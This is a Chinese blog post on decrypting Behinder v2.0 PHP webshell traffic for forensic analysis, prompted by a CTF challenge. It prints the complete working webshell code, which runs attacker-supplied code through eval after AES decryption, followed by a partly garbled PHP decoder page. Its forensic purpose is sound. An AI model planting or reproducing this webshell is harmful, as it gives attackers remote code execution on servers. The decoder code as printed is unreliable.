冰蝎PHP码流量还原

0x01前言

之前打3ctf的时候看见了一道冰蝎流量还原的misc,之后觉得还挺有意思的,毕竟之前网站被种过马 ,弄出来之后搞个工具结合全流量设备或者wireshark的包来还原攻击者到底做了哪些动作,故有了此文。

0x02环境准备

phpstudy(注意在php环境中要开一下php_openssl,默认好像是没开的)
冰蝎v2.0

0x03过程

首先贴一下一般用的冰蝎的PHP码:


@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>

加密过程:
第一次(GET)请求生成16位的秘钥,第二次(POST)用秘钥对发送和接收的内容进行base64加密、AES加密(AES-128-CBC,OPENSSL_ZERO_PADDING)。
解密过程:
先用AES解密,再用base64解密。

解密脚本如下(我这个做的是网页版的,界面很友好!如果想简化可以只要标签内的内容,记得把网页传参的变量改成普通变量):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>PHP冰蝎解码</title>
</head>
<body>

error_reporting(0);
function aes_decrypt($data,$key){
    return openssl_decrypt($data,'aes-128-cbc',$key,OPENSSL_ZERO_PADDING);
} 

$text=$_POST['text'];
$key=$_POST['key'];
#'dMbFVmyUlb8MNJR1iwAN6n0CrkPTl/pfedppzkLxWWzQvkhWqXgA6UMbiqkE0LNg';
#'d59042be6e437849';
#{"status":"c3VjY2Vzcw==","msg":"cEBzc3cwcmQ="}
$s=aes_decrypt($text,$key);

preg_match_all("/\'(.*?)\'/", $s,$content);
$s1=str_replace("'", "", $content[0][0]);

?>
<h1>冰蝎-PHP 流量解码</h1>
<form action="" method="post">
    <table >
        <tr>
            <td  align="center">密钥</td>
            <td><input type="text" name="key" maxlength="16" value="$key)){echo $key;}?>"></td>
        </tr>
        <tr>
            <td  align="center">密文</td>
            <td><textarea  name="text" style="height:100px;width:450px;" >
                 if(!empty($text)){echo $text;}?>
            </textarea> </td>
        </tr>
        <tr>
            <td> <input type="submit" value="提交"></td>
        </tr>
    </table>
</form>

print "解密后流量:
"
; print $s; print "

base64解码:
"
; //print $s1; //print base64_decode($s1);改成htmlentities的了,感谢大佬指点! print htmlentities(base64_decode($s1)); ?> </body> </html><br>

实现之后的效果如下:
冰蝎PHP码流量还原_第1张图片

0x04写在最后

冰蝎码的流量加密确实为后渗透提供了极大的便利,不过以后可能更进一步隐藏16位AES秘钥或者其他方式进行加密,本文只针对v2.0这个版的进行了解密,毕竟技术还比较菜。等有时间把jsp版的也做了!立个flag

你可能感兴趣的:(ctf,渗透,HTML语言学习)